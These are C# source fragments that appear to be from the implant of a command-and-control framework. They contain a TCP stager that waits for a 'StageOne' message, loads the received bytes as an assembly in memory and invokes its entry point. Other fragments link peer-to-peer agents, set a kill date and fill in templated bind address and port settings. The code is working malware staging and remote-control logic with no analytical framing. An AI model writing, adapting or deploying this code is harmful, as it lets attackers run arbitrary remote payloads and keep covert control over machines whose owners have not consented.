private void LinkTcpAgent(byte[] data) { var args = Encoding.UTF8.GetString(data).Split(' '); var hostname = args[0]; var port = int.Parse(args[1]); var module = new TcpCommModule(hostname, port); Agent.AddP2PAgent(hostname, module); }
public static void TcpEntryPoint(string agentID, string parentAgentID, DateTime killDate, string bindAddress, int bindPort) { AgentID = agentID; ParentAgentID = parentAgentID; var config = new ConfigController(); config.SetOption(ConfigSetting.KillDate, killDate); var commModule = new TcpCommModule(IPAddress.Parse(bindAddress), bindPort); StartAgent(config, commModule); }
public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new TcpCommModule(BindAddress, BindPort); commModule.SetMetadata(AgentID); commModule.Start(crypto); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message) == true) { if (message.Data != null && message.Data.Command.Equals("IncomingLink", StringComparison.OrdinalIgnoreCase)) { commModule.SetParentID(Encoding.UTF8.GetString(message.Data.Data)); commModule.QueueStageRequest(); } else if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); var parentID = commModule.GetParentID(); type.InvokeMember( "TcpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, parentID, KillDate, BindAddress, BindPort }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }
public static void Execute() { var config = new ConfigController(); //config.SetOption(ConfigSetting.BindAddress, "0.0.0.0"); //config.SetOption(ConfigSetting.BindPort, 4444); //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00")); config.SetOption(ConfigSetting.BindAddress, "<<BindAddress>>"); config.SetOption(ConfigSetting.BindPort, "<<BindPort>>"); config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>")); var crypto = new CryptoController(); var commModule = new TcpCommModule(); commModule.Init(config, crypto); var agent = new AgentController(config, crypto, commModule); agent.Init(); agent.RegisterAgentModule(new LinkModule()); agent.Start(); }